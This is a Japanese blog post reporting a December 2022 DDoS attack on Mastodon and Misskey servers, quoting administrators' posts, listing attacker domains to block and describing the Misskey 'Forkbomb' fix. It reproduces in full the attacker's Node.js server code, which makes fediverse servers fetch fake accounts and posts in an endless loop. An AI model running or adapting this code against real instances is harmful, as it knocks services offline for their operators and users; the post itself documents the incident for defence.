速報: 分散SNSでの無差別フォロー・メンション・再帰取得によるDDoS攻撃

Mastodon/security
概要

2022-12-03 Sat 16:00 (JST) 頃から分散SNSの大型サーバーを中心にDDoS攻撃があったようで、話題でしたので紹介します。

概要は以下となります。

攻撃概要

攻撃手法1: 攻撃対象サーバーに登録されたボットアカウントによる疑惑ドメインユーザーへの、無差別フォロー+メンション+アカウント削除による負荷攻撃。

攻撃手法2: 攻撃元ユーザー投稿の検索による参照データの無限再帰取得による負荷攻撃。

攻撃元ドメイン

  • *.activitypub-troll.cf
  • *.misskey-forkbomb.cf
  • *.repl.co

対策1: 上記ドメインに対するドメインブロック。ボットアカウントの停止・登録拒否。

対策2: 攻撃元ドメインのユーザーを検索しない。Misskeyの場合、Misskey v12.119.1以上への更新。

分散SNSが通信を行うことを利用して、無差別フォローやメンションという通常操作を大量に行う負荷攻撃のようでした。サブドメインは無尽蔵に作成できることを利用して、これらのサブドメインの大量のサーバー・ユーザーに無差別フォロー・メンションができたようです。また、アカウント削除はサーバーへの負荷が大きいようです。

また、参照データ (返信ツリーなど) の再帰取得は最初にMisskeyで攻撃されて、それがMastodonにも適用されているようです (forkbomb DOS mitigation by mei23 · Pull Request #4214 · mei23/misskey · GitHub)。

このような外部から指示や制御を行う攻撃サーバーを使った C&C (Commannd and Control Server) 形式の攻撃というらしいです (C&Cサーバー | サイバーセキュリティ情報局)。

mstdn.jpなどが攻撃を受けて、500エラーにより一時アクセス困難になったようです。

以下の2投稿が今回の問題を一番端的に説明していたように感じます。

To all Mastodon-admins: seems like there’s an attack on all instances by troll accounts. Servers get slow because of it.
They use thousands of subdomains of activitypub-troll.cf. My ‘pull’ queues skyrocketed.

I now blocked the domain activitypub-troll.cf and all is back to normal. Please check if you’re hit too.
#mastoadmin #fediblock
Ruud: “To all Mastodon-admins: seems …” – Mastodon
Kris Nóva :nova: (nova@hachyderm.io)’s status on Monday, 05-Dec-2022 22:08:49 JSTKris Nóva :nova:Kris Nóva :nova:

特に2個目のこちらの投稿がレポート記事「Context – HackMD」を公開してくれており、助かりました。

1個目の投稿はおそらく一連の騒動の初期の告知と思われます。時差があるので、少々時系列がややこしいのですが…

なお、「Any idea to stop activitypub-troll.cf or likewise attacks? · Issue #21977 · mastodon/mastodon · GitHub」で対策が議論されています。根本的・決定的な解決はまだのようです。

告知

整理が少々難しいのですが、内容ごとに反響を紹介します。

まず、以下の投稿群で攻撃元や今回の事件のレポート、最初の告知元などが紹介されていました。

藤井太洋, Taiyo Fujii (taiyo@ostatus.taiyolab.com)’s status on Sunday, 04-Dec-2022 08:46:42 JST藤井太洋, Taiyo Fujii藤井太洋, Taiyo Fujii

昨日、マストドンサーバーに対する攻撃として注目を集めた activitypub-troll.cf ですが、他にも類似の攻撃を行うドメインがあるようです。

*.activitypub-troll.cf
*.misskey-forkbomb.cf
*.repl.co

hachyderm.io のアドミン @nova が報告しています。

https://hachyderm.io/@nova/109451690043405028

Kris Nóva :nova: (nova@hachyderm.io)’s status on Sunday, 04-Dec-2022 09:11:11 JSTKris Nóva :nova:Kris Nóva :nova:

The best advice for any is to “suspend” the following domains in their preferences>moderation>federation>add new domain block

*.activitypub-troll.cf
*.misskey-forkbomb.cf
*.repl.co

Kris Nóva :nova: (nova@hachyderm.io)’s status on Monday, 05-Dec-2022 21:25:28 JSTKris Nóva :nova:Kris Nóva :nova:
Kris Nóva :nova: (nova@hachyderm.io)’s status on Monday, 05-Dec-2022 21:44:16 JSTKris Nóva :nova:Kris Nóva :nova:

We are currently investigating DDoS attacks which involve . I will continue to post in the thread below.

Original thread about the attacks (Thanks to @ian for sharing) is here:

https://hachyderm.io/@dwarf@borg.social/109449246766819991

Again – We currently suspect that the fediverse is being leveraged for a C&C style DDoS attack against arbitrary domains. We believe they are using wildcart certs to change DNS to point to their victims, and the fediverse is their new fleet of compute to do their dirty work.
Kris Nóva :ferris:: “Original thread about the atta…” – Hachyderm.io
中国での被害

以下の投稿で中国ユーザーの攻撃被害や、攻撃内容の概要が紹介されていました。

藤井太洋, Taiyo Fujii (taiyo@ostatus.taiyolab.com)’s status on Sunday, 04-Dec-2022 08:56:39 JST藤井太洋, Taiyo Fujii藤井太洋, Taiyo Fujii
草莓酱? :verified: (strawberry@m.cmx.im)’s status on Sunday, 04-Dec-2022 10:54:09 JST草莓酱? :verified:草莓酱? :verified:

Mastodon的ActivityPub实现中的一个安全漏洞被利用来攻击Mastodon网站,本站也受到影响——公共时间线在很长一段时间内持续充斥着垃圾帖子和用户,大大消耗了服务器资源。目前,我们已经封锁了恶意滥用该漏洞的域名及其28,000余个随机子域。根据用户反馈,该安全漏洞是由本站站内用户搜索恶意实例的用户引起的,每次都会返回2个随机用户名,由于Mastodon缺乏对递归的限制,导致服务器陷入无限抓取的循环。

Ref: https://fedibird.com/users/yustier/statuses/109448938246497764

HyoYoshikawa (hyoyoshikawa@toot.blue)’s status on Monday, 05-Dec-2022 21:27:38 JSTHyoYoshikawaHyoYoshikawa

@taiyo @strawberry

例によって機械翻訳を貼ります

MastodonのActivityPub実装のセキュリティバグがMastodonサイトを攻撃するために利用され、当サイトも影響を受けました。公共タイムラインは長い間ゴミ投稿とユーザーでいっぱいになり、サーバー資源を大幅に消費しました。現在、私たちはこの脆弱性を悪意的に悪用したドメインとその28,000個余りのランダムサブドメインをブロックしました。ユーザーのフィードバックによると、このセキュリティバグは当サイト内のユーザーが悪意のある実例を検索したユーザーによって引き起こされ、毎回2つのランダムユーザー名が返されます。Mastodonの再帰に対する制限がないため、サーバーが無限捕獲の循環に陥ります。

国内での発見

以下の投稿などで2022-12-03 16:00頃に発生したことが観測されたことが、日本での初観測だったのではないかと思われます。

ぽむ@深淵の底 (nippon@mstdn-dystopia.com)’s status on Monday, 05-Dec-2022 21:33:15 JSTぽむ@深淵の底ぽむ@深淵の底

なんかsocialの本家鯖とか連合経由であやしい連投botがどんどんToot送ってきて重くなってるみたいで多分jpもそれ食らったのではという見立て。( 

その他、今回の件について以下の投稿で警告告知されていました。

‮(dribideF) 碌藍‮ (yustier@fedibird.com)’s status on Saturday, 03-Dec-2022 19:35:47 JST‮(dribideF) 碌藍‮‮(dribideF) 碌藍‮

凝るなどした

仕組

今回の攻撃内容についていくつか考察がありました。

kphrx (kpherox@pl.kpherox.dev)’s status on Monday, 05-Dec-2022 22:47:21 JSTkphrxkphrx
activitypub-troll.cf開いたらnode.jsっぽいコードがテキストで表示されてて笑ってる

攻撃元ドメインにアクセスすると攻撃コードらしきものが表示されるそうです。コードの全文は以下でした。記録のために掲載します。

var code = require("fs").readFileSync(__filename, "utf8");
var rand = () => (Math.floor(Math.random() * 1e13)).toString(36);
var server = require("http").createServer(function(req, res) {
	try {
		if (!process.env.PROD) console.log(new Date().toLocaleString(), req.headers["x-forwarded-for"], req.headers.host, req.url, '"'+req.headers["user-agent"]+'"');

		if (req.url.startsWith("/.well-known/webfinger?resource=acct")) {
			var c = decodeURIComponent(req.url.substring(36));
			var name = c.substring(1, c.indexOf("@"));
			res.writeHead(200, {"Content-Type": "application/json; charset=utf-8"});
			res.end(JSON.stringify({
				"aliases": [
					"https://"+req.headers.host+"/users/"+name+""
				],
				"links": [
					{
						"href": "https://"+req.headers.host+"/users/"+name+"",
						"rel": "http://webfinger.net/rel/profile-page",
						"type": "text/html"
					},
					{
						"href": "https://"+req.headers.host+"/users/"+name+"",
						"rel": "self",
						"type": "application/activity+json"
					},
					{
						"href": "https://"+req.headers.host+"/users/"+name+"",
						"rel": "self",
						"type": "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\""
					},
					{
						"rel": "http://ostatus.org/schema/1.0/subscribe",
						"template": "https://"+req.headers.host+"/ostatus_subscribe?acct={uri}"
					}
				],
				"subject": "acct:"+name+"@"+req.headers.host+""
			}))
		}

		else if (req.url.startsWith("/users/")) {
			var t = req.url.indexOf('/', 7);
			if (t === -1) t = undefined;
			else var suburl = req.url.substring(t);
			var user = req.url.substring(7, t);
			if (!suburl) {
				res.writeHead(200, {"Content-Type": "application/activity+json; charset=utf-8"});
				res.end(JSON.stringify({
					"@context": [
						"https://www.w3.org/ns/activitystreams",
						"https://"+req.headers.host+"/schemas/litepub-0.1.jsonld",
						{
							"@language": "und"
						}
					],
					"alsoKnownAs": [],
					"attachment": [],
					"capabilities": {},
					"discoverable": false,
					"endpoints": {
						"oauthAuthorizationEndpoint": "https://"+req.headers.host+"/oauth/authorize",
						"oauthRegistrationEndpoint": "https://"+req.headers.host+"/api/v1/apps",
						"oauthTokenEndpoint": "https://"+req.headers.host+"/oauth/token",
						"sharedInbox": "https://"+req.headers.host+"/inbox",
						"uploadMedia": "https://"+req.headers.host+"/api/ap/upload_media"
					},
					"featured": "https://"+req.headers.host+"/users/"+user+"/collections/featured",
					"followers": "https://"+req.headers.host+"/users/"+user+"/followers",
					"following": "https://"+req.headers.host+"/users/"+user+"/following",
					"id": "https://"+req.headers.host+"/users/"+user+"",
					"inbox": "https://"+req.headers.host+"/users/"+user+"/inbox",
					"manuallyApprovesFollowers": false,
					"name": ""+user+"",
					"outbox": "https://"+req.headers.host+"/users/"+user+"/outbox",
					"preferredUsername": ""+user+"",
					"publicKey": {
						"id": "https://"+req.headers.host+"/users/"+user+"#main-key",
						"owner": "https://"+req.headers.host+"/users/"+user+"",
						"publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyjLSiDyjfusFC9Tvnc76\nVJjHZxOVXpdM/AExMdY9pSN0Su5EezdiOInfEpWIhtb+NQWWhWhvdXEl+i8JWw0K\n35oyq+I/QFrNF/hIO/zDlzOb/aVTaIqXvpZvP6ShZtQXP5cNF6s+ViPujq1yLnYb\nXKcauxThGKn9FkcP0mf2+ATN2QmQVk/01qlclLM7GsKaN1Q19JNYH9+zXDfcVilK\n0ZUizubEBZBG/bwIYPid7tn9EY8NkAVHpOxShOdyNpdQBf8tdZy4NKLPZxoVhPPr\nAVlkpczH6WuFRF/njQnF0cTzphVyW3qK9fSsx4uHNrWGOM77oE5RfCRAHytriS9G\nsQIDAQAB\n-----END PUBLIC KEY-----\n\n"
					},
					"summary": "",
					"tag": [],
					"type": "Person",
					"url": "https://"+req.headers.host+"/users/"+user+""
				}));

			} else if (suburl === "/collections/featured") {
				var noteid = rand();
				var at1 = rand(), at2 = rand();
				var h = req.headers.host.split('.');
				if (h.length === 3) {
					var atd1 = [rand(), h[1], h[2]].join('.');
					var atd2 = [rand(), h[1], h[2]].join('.');
				} else {
					var atd1 = req.headers.host, atd2 = req.headers.host;
				}
				res.writeHead(200, {"Content-Type": "application/activity+json; charset=utf-8"});
				res.end(JSON.stringify({
					"@context": [
						"https://www.w3.org/ns/activitystreams",
						"https://"+req.headers.host+"/schemas/litepub-0.1.jsonld",
						{
							"@language": "und"
						}
					],
					"id": "https://"+req.headers.host+"/users/"+user+"/collections/featured",
					"orderedItems": [
						{
							"@context": [
								"https://www.w3.org/ns/activitystreams",
								"https://"+req.headers.host+"/schemas/litepub-0.1.jsonld",
								{
									"@language": "und"
								}
							],
							"actor": "https://"+req.headers.host+"/users/"+user+"",
							"attachment": [],
							"attributedTo": "https://"+req.headers.host+"/users/"+user+"",
							"cc": [
								"https://"+req.headers.host+"/users/"+user+"/followers"
							],
							"content": "<span class=\"h-card\"><a class=\"u-url mention\" data-user=\"x\" href=\"https://"+atd1+"/users/"+at1+"\" rel=\"ugc\">@<span>"+at1+"</span></a></span> <span class=\"h-card\"><a class=\"u-url mention\" data-user=\"y\" href=\"https://"+atd2+"/users/"+at2+"\" rel=\"ugc\">@<span>"+at2+"</span></a></span>",
							//"context": "https://"+req.headers.host+"/contexts/5abd9cff-a8d5-43e3-85b0-53a3c2e16f23",
							//"conversation": "https://"+req.headers.host+"/contexts/5abd9cff-a8d5-43e3-85b0-53a3c2e16f23",
							"id": "https://"+req.headers.host+"/users/"+user+"/objects/"+noteid,
							"published": "2022-12-03T06:55:32.991Z",
							"sensitive": null,
							"source": {
								"content": "@"+at1+" @"+at2+"",
								"mediaType": "text/plain"
							},
							"summary": "",
							"tag": [
								{
									"href": "https://"+atd1+"/users/"+at1+"",
									"name": "@"+at1+"",
									"type": "Mention"
								},
								{
									"href": "https://"+atd2+"/users/"+at2+"",
									"name": "@"+at2+"",
									"type": "Mention"
								}
							],
							"to": [
								"https://www.w3.org/ns/activitystreams#Public",
								"https://"+atd1+"/users/"+at1+"",
								"https://"+atd2+"/users/"+at2+""
							],
							"type": "Note"
						}
					],
					"totalItems": 1,
					"type": "OrderedCollection"
				}));
			} else if (suburl.startsWith("/objects/")) {
				var noteid = suburl.substring(9);
				var at1 = rand(), at2 = rand();
				var h = req.headers.host.split('.');
				if (h.length === 3) {
					var atd1 = [rand(), h[1], h[2]].join('.');
					var atd2 = [rand(), h[1], h[2]].join('.');
				} else {
					var atd1 = req.headers.host, atd2 = req.headers.host;
				}
				res.writeHead(200, {"Content-Type": "application/activity+json; charset=utf-8"});
				res.end(JSON.stringify({
					"@context": [
						"https://www.w3.org/ns/activitystreams",
						"https://"+req.headers.host+"/schemas/litepub-0.1.jsonld",
						{
							"@language": "und"
						}
					],
					"actor": "https://"+req.headers.host+"/users/"+user+"",
					"attachment": [],
					"attributedTo": "https://"+req.headers.host+"/users/"+user+"",
					"cc": [
						"https://"+req.headers.host+"/users/"+user+"/followers"
					],
					"content": "<span class=\"h-card\"><a class=\"u-url mention\" data-user=\"x\" href=\"https://"+atd1+"/users/"+at1+"\" rel=\"ugc\">@<span>"+at1+"</span></a></span> <span class=\"h-card\"><a class=\"u-url mention\" data-user=\"y\" href=\"https://"+atd2+"/users/"+at2+"\" rel=\"ugc\">@<span>"+at2+"</span></a></span>",
					//"context": "https://"+req.headers.host+"/contexts/5abd9cff-a8d5-43e3-85b0-53a3c2e16f23",
					//"conversation": "https://"+req.headers.host+"/contexts/5abd9cff-a8d5-43e3-85b0-53a3c2e16f23",
					"id": "https://"+req.headers.host+"/users/"+user+"/objects/"+noteid,
					"published": "2022-12-03T06:55:32.991Z",
					"sensitive": null,
					"source": {
						"content": "@"+at1+" @"+at2+"",
						"mediaType": "text/plain"
					},
					"summary": "",
					"tag": [
						{
							"href": "https://"+atd1+"/users/"+at1+"",
							"name": "@"+at1+"",
							"type": "Mention"
						},
						{
							"href": "https://"+atd2+"/users/"+at2+"",
							"name": "@"+at2+"",
							"type": "Mention"
						}
					],
					"to": [
						"https://www.w3.org/ns/activitystreams#Public",
						"https://"+atd1+"/users/"+at1+"",
						"https://"+atd2+"/users/"+at2+""
					],
					"type": "Note"
				}));
			} else {
				res.writeHead(404);
				res.end();
			}

		}

		else if (req.url === "/") {
			res.writeHead(200, {"Content-Type": "text/javascript"});
			res.end(code);
		}

		else {
			res.writeHead(404);
			res.end();
		}
	} catch (error) {
		if (!process.env.PROD) console.error(error.message);
		res.writeHead(500);
		res.end();
	}
});

server.listen(80);
:oneseta: @新学期やめての会 (ars42525@odakyu.app)’s status on Monday, 05-Dec-2022 22:48:31 JST:oneseta: @新学期やめての会:oneseta: @新学期やめての会
kphrx (kpherox@pl.kpherox.dev)’s status on Monday, 05-Dec-2022 21:34:23 JSTkphrxkphrx
無限に自分のドメインのactorを認識させまくってfetchつまらせにくるやつか。reject domainに突っ込んどこう
:oneseta: @新学期やめての会 (ars42525@odakyu.app)’s status on Saturday, 03-Dec-2022 17:40:50 JST:oneseta: @新学期やめての会:oneseta: @新学期やめての会

アカウントをフェッチする -> 固定投稿を引っ張る -> 固定投稿にメンションがある -> メンション先を取る -> 固定投稿を取る の無限ループになってる

:oneseta: @新学期やめての会 (ars42525@odakyu.app)’s status on Monday, 05-Dec-2022 21:36:15 JST:oneseta: @新学期やめての会:oneseta: @新学期やめての会

暫定対応としてドメブロしたほうがいいがこのソースコードで無限にドメイン増やせるのが危険だな

:oneseta: @新学期やめての会 (ars42525@odakyu.app)’s status on Monday, 05-Dec-2022 22:52:23 JST:oneseta: @新学期やめての会:oneseta: @新学期やめての会

ドメイン部分もランダム生成されてる、これドメブロすらできねぇわ

詳細は理解していませんが、node.jsのコードで、ランダムなサブドメインの生成、自動投稿、メンションなどを行っているそうです。

GNU socialにはドメインブロックがないので、私はドメインブロック機能の詳細を把握していませんが、ワイルドカードドメインブロックができないそうで、ドメインブロックも難しいそうです。

Misskeyの脆弱性

参照データの再帰取得の負荷攻撃は最初にMisskeyでみつかったそうです。

2022-12-03にMisskeyにForkbombという脆弱性がみつかり、v12.119.1で修正されたそうです。

**【Security Notice】**
**”Forkbomb” vulnerability was found and fixed in Misskey v12.119.1.**
Forkbombと呼ばれる脆弱性が発見され、v12.119.1で修正されています。

Each instance administrator must update Misskey and block the next instances.
インスタンス管理者はMisskeyをアップデートし、インスタンスブロック設定で次のインスタンスを追加してください。

“`
activitypub-troll.cf
misskey-forkbomb.cf
repl.co
“`

The joinmisskey instances list does not show instances of vulnerable versions.
joinmisskeyインスタンスリストにおいて、脆弱性のあるバージョンは表示されません。
Misskeyをはじめよう【公式】 (@joinmisskey) | Misskey.io
misskey-forkbombと同じ攻撃がMastodonにも行ってるのかしら
https://github.com/mei23/misskey/pull/4214
めいめい@mei23 めいすきー

Misskeyで投稿の再帰取得に関する脆弱性があったそうで「forkbomb DOS mitigation by mei23 · Pull Request #4214 · mei23/misskey · GitHub」で議論されていました。

結論

分散SNSで広くなされたDDoS攻撃でした。

このような大規模な攻撃は久しぶりだったように思います。10月末のTwitter買収を受けて、ユーザー数が増えて活況で負荷も高まっていたこともあり、特に大型サーバーを中心に影響があったようです。

今回の攻撃は、分散SNSの通常の操作の範囲内なので、少々対策が難しいのかもしれません。

現在の状況がよくわかっていませんが、周知されてドメインブロックやボットアカウントの削除などで落ち着いたようにみえます。もうしばらく状況に注意します。

騒動の初動で、私は先日の「告知: Misskey.ioからのドメインブロック | GNU social JP」の記事について、私への反対派とレスバトルを行っており、全く気づきませんでした。

フォロー数が最近は多く、ドメインブロックもあり、事件などの把握がやや遅れがちです。敏感なユーザーを特別にウォッチして、キャッチアップできるように努めます。

コメント

  1. […] 、新規登録を一時停止していたようです。攻撃内容的に「速報: 分散SNSでの無差別フォロー・メンション・再帰取得によるDDoS攻撃 | GNU social JP」で紹介した攻撃に近いように感じました。 […]

  2. This Article was mentioned on web.gnusocial.jp

Copied title and URL